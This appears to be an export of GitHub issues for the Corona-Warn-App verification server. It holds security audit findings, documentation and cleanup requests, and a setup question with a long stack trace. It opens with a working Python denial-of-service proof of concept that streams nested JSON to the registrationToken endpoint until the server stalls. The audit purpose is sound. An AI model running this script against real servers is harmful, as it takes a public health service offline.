This yields a 10x amplification in memory usage on the server in comparison to the traffic sent by the attacker.

After sending ~164MB, the server CPU usage goes to 100% and the server becomes unresponsive in this configuration.
As a single request was used, rate-limiting is not sufficient.

Proof of Concept:

import socket, sys

if len(sys.argv) != 3:
    print ("usage %s target [size in MB]" % sys.argv[0])
    sys.exit(-1)
    
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 8080))

hdr  = "POST /version/v1/registrationToken HTTP/1.1\r\n"
hdr += "Host: "+sys.argv[1]+":8080\r\n"
hdr += "Content-Type: application/json\r\n"
hdr += "Transfer-Encoding: Chunked\r\n"
hdr += "\r\n"
s.send(hdr)

chunk = '{"":'*256*1024 # we create lots of nested dicts
chunk = "%x\r\n%s\r\n" % (len(chunk), chunk)
for i in range(int(sys.argv[2])-1):
    s.send(chunk)
    sys.stderr.write("\rSent %d MB" % i)

print("\nDone")
#raw_input()

Remove @author tags

Current Implementation

Currently the javadoc class comments contain a @author T-Systems International GmbH tag, which doesn't add any information and is just additional clutter.

Suggested Enhancement

Remove the tags.

Expected Benefits

Let author information be handled by git, which does a much better job than a generic tag. Also there's already an CODEOWNERS file.

Entity AppSession table in architecture overview - content errors

Describe the bug

The Solution Architecture describes that you either know the scanned GUID xor the teleTAN, but both are non nil.

In the architecture overview for the verification server both are not nil in the entity AppSession table.

And the definition of teleTAN is wrong in the same table.

Expected behaviour

GUID xor teleTAN should be nil. The other solution would be a „Dummy“-not nil value, but exactly for this is null defined in the language.

And write a correct definition for teleTAN

Steps to reproduce the issue

See documentation

[BSI][20200519] GUID Hash Value Format Not Verified

Rating: Low

Description:
The /registrationToken endpoint expects a "hashed GUID" to generate a token for an app user. This hash has a well-defined format, which is even enforced by the Lab Backend (labtestresults-test.telekom-healthcare.com). However, it is possible to generate a registration token for arbitrary "hashed GUID" values that are not of the format of a SHA256 hash. This leads to incosistent values being present in the database and could lead to further issues in processing the GUIDs and tokens.

Proof of Concept:
The following communication excerpt shows how a registration token for an invalid GUID hash is created:

POST /version/v1/registrationToken HTTP/1.1
Host: localhost:9090
User-Agent: curl/7.64.1
Accept: /
Content-Type: application/json
Content-Length: 35

{"hashedGUID": "TEST-CONTENT-ASDF"}

HTTP/1.1 200
Content-Type: application/json
Transfer-Encoding: chunked
Date: Tue, 19 May 2020 08:42:01 GMT

{"registrationToken":"c3c160df-6ee1-488f-a11a-b001c7e29e7e"}

[BSI][0.3.1-alpha] Inconsitent hashing of GUIDs and TELETANs

Rating: Informational

Description:

GUIDs are hashed in the App and only the SHA256 hash is transmitted to the Verification server, but TELETAN is transmitted plain and then hashed on the Verification server. For both GUIDs and TELTANs only the hashs are stored in the Verification database. It is also unclear why the GUID should be transmitted as hash only. It is recommended to implement the same procedure for the GUIDs as for the TELETANs: transmit both in plain and then hash on the Verification server.

Proof of Concept:

Check functions in AppSessionService.java, both require a hash for the lookup. checkRegistrationTokenAlreadyExistsForGuid() gets the hash directory from the App request but checkRegistrationTokenAlreadyExistForTeleTan() gets the plain TELETAN and has to hash it prior to the database query.

public boolean checkRegistrationTokenAlreadyExistsForGuid(String hashedGuid) {
log.info("VerificationAppSessionService start checkRegistrationTokenExists.");
VerificationAppSession appSession = new VerificationAppSession();
appSession.setGuidHash(hashedGuid);
return appSessionRepository.exists(Example.of(appSession, ExampleMatcher.matchingAll()));
}

/**

  • Check for existing hashed TeleTAN in the
  • {@link VerificationAppSessionRepository}.
  • @param teleTan the teleTAN
  • @return flag for existing teleTAN
    */
    public boolean checkRegistrationTokenAlreadyExistForTeleTan(String teleTan) {
    log.info("VerificationAppSessionService start checkTeleTanAlreadyExistForTeleTan.");
    VerificationAppSession appSession = new VerificationAppSession();
    appSession.setRegistrationTokenHash(hashingService.hash(teleTan));
    return appSessionRepository.exists(Example.of(appSession, ExampleMatcher.matchingAll()));
    }

Steps for a correct setup

What I did

1. cwa-verification-iam

docker build --pull --rm -f "Dockerfile" -t cwa-verification-iam "."
docker run -p "8080:8080" -p "8443:8443" -p "7443:7443" -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin cwa-verification-iam
  • Go to https://localhost:7443/ and press continue to localhost (unsafe)
  • Open administration console and log in with username admin and password admin
  • Create a new realm with name cwa
  • Create a new client with:
    • ID verification-portal
    • Client Protocol openid-connect
    • Root URL http://localhost:8081/sso/login
  • Add a new role with name c19hotline
  • Add a new user user
    • Set a password
    • Assign the c19hotline role

2. cwa-verification-portal

mvn package -Dmaven.test.skip=true
java -jar target/cwa-verification-portal-1.2.0-SNAPSHOT.jar  

Go to http://localhost:8081 and log in with username user and password password

3. cwa-verification-server

mvn package -Dmaven.test.skip=true
java -jar target/cwa-verification-server-1.3.2-SNAPSHOT.jar
  • Add port: 8082 under server (Line: 15) tag in application.yml because of Web server failed to start. Port 8080 was already in use.
  • Change port: 8081 (Line: 37) to port: 8082 in application.yml because of Web server failed to start. Port 8081 was already in use.

The error

Click Create a TeleTAN -> TeleTAN cannot be generated due to an internal error.

Question

What am I missing to complete the flow and generate a TeleTAN?

Error log cwa-verification-portal

2020-10-08 19:35:22.702 ERROR [cwa-verification-portal,2b065c1c975b5da2,2b065c1c975b5da2,false] 3856 --- [nio-8081-exec-6] o.s.c.s.i.web.ExceptionLoggingFilter     : Uncaught exception thrown

org.springframework.web.util.NestedServletException: Request processing failed; nested exception is feign.FeignException$NotFound: [404 ] during [POST] to [http://localhost:8082/version/v1/tan/teletan] [VerificationServerClient#createTeleTan(String)]: [{"timestamp":"2020-10-08T16:35:22.686+00:00","status":404,"error":"Not Found","message":"","path":"/version/v1/tan/teletan"}]
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:909) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:660) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) ~[tomcat-embed-websocket-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at brave.servlet.TracingFilter.doFilter(TracingFilter.java:67) ~[brave-instrumentation-servlet-5.10.1.jar:na]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.keycloak.adapters.springsecurity.filter.KeycloakAuthenticatedActionsFilter.doFilter(KeycloakAuthenticatedActionsFilter.java:57) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.keycloak.adapters.springsecurity.filter.KeycloakSecurityContextRequestFilter.doFilter(KeycloakSecurityContextRequestFilter.java:61) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.keycloak.adapters.springsecurity.filter.KeycloakPreAuthActionsFilter.doFilter(KeycloakPreAuthActionsFilter.java:96) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at app.coronawarn.verification.portal.VerificationPortalHttpFilter.doFilter(VerificationPortalHttpFilter.java:40) ~[classes/:na]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:320) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:126) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:90) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:118) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:137) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:111) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.keycloak.adapters.springsecurity.filter.KeycloakAuthenticatedActionsFilter.doFilter(KeycloakAuthenticatedActionsFilter.java:74) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.keycloak.adapters.springsecurity.filter.KeycloakSecurityContextRequestFilter.doFilter(KeycloakSecurityContextRequestFilter.java:92) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:158) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:63) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:116) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:200) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.keycloak.adapters.springsecurity.filter.KeycloakPreAuthActionsFilter.doFilter(KeycloakPreAuthActionsFilter.java:96) ~[keycloak-spring-security-adapter-10.0.1.jar:10.0.1]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at app.coronawarn.verification.portal.VerificationPortalHttpFilter.doFilter(VerificationPortalHttpFilter.java:40) ~[classes/:na]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.csrf.CsrfFilter.doFilterInternal(CsrfFilter.java:141) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.header.HeaderWriterFilter.doHeadersAfter(HeaderWriterFilter.java:92) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:77) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:105) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:56) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:334) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:215) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:178) ~[spring-security-web-5.3.2.RELEASE.jar:5.3.2.RELEASE]
	at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:358) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:271) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.session.web.http.SessionRepositoryFilter.doFilterInternal(SessionRepositoryFilter.java:141) ~[spring-session-core-2.3.0.RELEASE.jar:2.3.0.RELEASE]
	at org.springframework.session.web.http.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:82) ~[spring-session-core-2.3.0.RELEASE.jar:2.3.0.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.cloud.sleuth.instrument.web.ExceptionLoggingFilter.doFilter(ExceptionLoggingFilter.java:50) ~[spring-cloud-sleuth-core-2.2.2.RELEASE.jar:2.2.2.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at brave.servlet.TracingFilter.doFilter(TracingFilter.java:84) ~[brave-instrumentation-servlet-5.10.1.jar:na]
	at org.springframework.cloud.sleuth.instrument.web.LazyTracingFilter.doFilter(TraceWebServletAutoConfiguration.java:138) ~[spring-cloud-sleuth-core-2.2.2.RELEASE.jar:2.2.2.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.boot.actuate.metrics.web.servlet.WebMvcMetricsFilter.doFilterInternal(WebMvcMetricsFilter.java:93) ~[spring-boot-actuator-2.3.0.RELEASE.jar:2.3.0.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.keycloak.adapters.tomcat.AbstractAuthenticatedActionsValve.invoke(AbstractAuthenticatedActionsValve.java:67) ~[spring-boot-container-bundle-10.0.1.jar:10.0.1]
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.keycloak.adapters.tomcat.AbstractKeycloakAuthenticatorValve.invoke(AbstractKeycloakAuthenticatorValve.java:181) ~[spring-boot-container-bundle-10.0.1.jar:10.0.1]
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:373) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:868) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1590) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) ~[na:na]
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) ~[na:na]
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) ~[tomcat-embed-core-9.0.35.jar:9.0.35]
	at java.base/java.lang.Thread.run(Thread.java:834) ~[na:na]
Caused by: feign.FeignException$NotFound: [404 ] during [POST] to [http://localhost:8082/version/v1/tan/teletan] [VerificationServerClient#createTeleTan(String)]: [{"timestamp":"2020-10-08T16:35:22.686+00:00","status":404,"error":"Not Found","message":"","path":"/version/v1/tan/teletan"}]
	at feign.FeignException.clientErrorStatus(FeignException.java:201) ~[feign-core-10.7.4.jar:na]
	at feign.FeignException.errorStatus(FeignException.java:177) ~[feign-core-10.7.4.jar:na]
	at feign.FeignException.errorStatus(FeignException.java:169) ~[feign-core-10.7.4.jar:na]
	at feign.codec.ErrorDecoder$Default.decode(ErrorDecoder.java:92) ~[feign-core-10.7.4.jar:na]
	at feign.SynchronousMethodHandler.executeAndDecode(SynchronousMethodHandler.java:156) ~[feign-core-10.7.4.jar:na]
	at feign.SynchronousMethodHandler.invoke(SynchronousMethodHandler.java:80) ~[feign-core-10.7.4.jar:na]
	at feign.ReflectiveFeign$FeignInvocationHandler.invoke(ReflectiveFeign.java:100) ~[feign-core-10.7.4.jar:na]
	at com.sun.proxy.$Proxy120.createTeleTan(Unknown Source) ~[na:na]
	at app.coronawarn.verification.portal.service.TeleTanService.createTeleTan(TeleTanService.java:21) ~[classes/:na]
	at app.coronawarn.verification.portal.controller.VerificationPortalController.teletan(VerificationPortalController.java:183) ~[classes/:na]
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
	at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
	at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:190) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:138) ~[spring-web-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:105) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:879) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:793) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1040) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:943) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) ~[spring-webmvc-5.2.6.RELEASE.jar:5.2.6.RELEASE]
	... 116 common frames omitted

2020-10-08 19:35:22.707 ERROR [cwa-verification-portal,,,] 3856 --- [nio-8081-exec-6] o.a.c.c.C.[.[.[/].[dispatcherServlet]    : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is feign.FeignException$NotFound: [404 ] during [POST] to [http://localhost:8082/version/v1/tan/teletan] [VerificationServerClient#createTeleTan(String)]: [{"timestamp":"2020-10-08T16:35:22.686+00:00","status":404,"error":"Not Found","message":"","path":"/version/v1/tan/teletan"}]] with root cause

feign.FeignException$NotFound: [404 ] during [POST] to [http://localhost:8082/version/v1/tan/teletan] [VerificationServerClient#createTeleTan(String)]: [{"timestamp":"2020-10-08T16:35:22.686+00:00","status":404,"error":"Not Found","message":"","path":"/version/v1/tan/teletan"}]
	at feign.FeignException.clientErrorStatus(FeignException.java:201) ~[feign-core-10.7.4.jar:na]
	at feign.FeignException.errorStatus(FeignException.java:177) ~[feign-core-10.7.4.jar:na]
	at feign.FeignException.errorStatus(FeignException.java:169) ~[feign-core-10.7.4.jar:na]
	at feign.codec.ErrorDecoder$Default.decode(ErrorDecoder.java:92) ~[feign-core-10.7.4.jar:na]
	at feign.SynchronousMethodHandler.executeAndDecode(SynchronousMethodHandler.java:156) ~[feign-core-10.7.4.jar:na]
	at feign.SynchronousMethodHandler.invoke(SynchronousMethodHandler.java:80) ~[feign-core-10.7.4.jar:na]
	at feign.ReflectiveFeign$FeignInvocationHandler.invoke(ReflectiveFeign.java:100) ~[feign-core-10.7.4.jar:na]
	at com.sun.proxy.$Proxy120.createTeleTan(Unknown Source) ~[na:na]
	at app.coronawarn.verification.portal.service.TeleTanService.createTeleTan(TeleTanService.java:21) ~[classes/:na]
	at app.coronawarn.verification.portal.controller.VerificationPortalController.teletan(VerificationPortalController.java:183) ~[classes/:na]
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
	at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
	at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
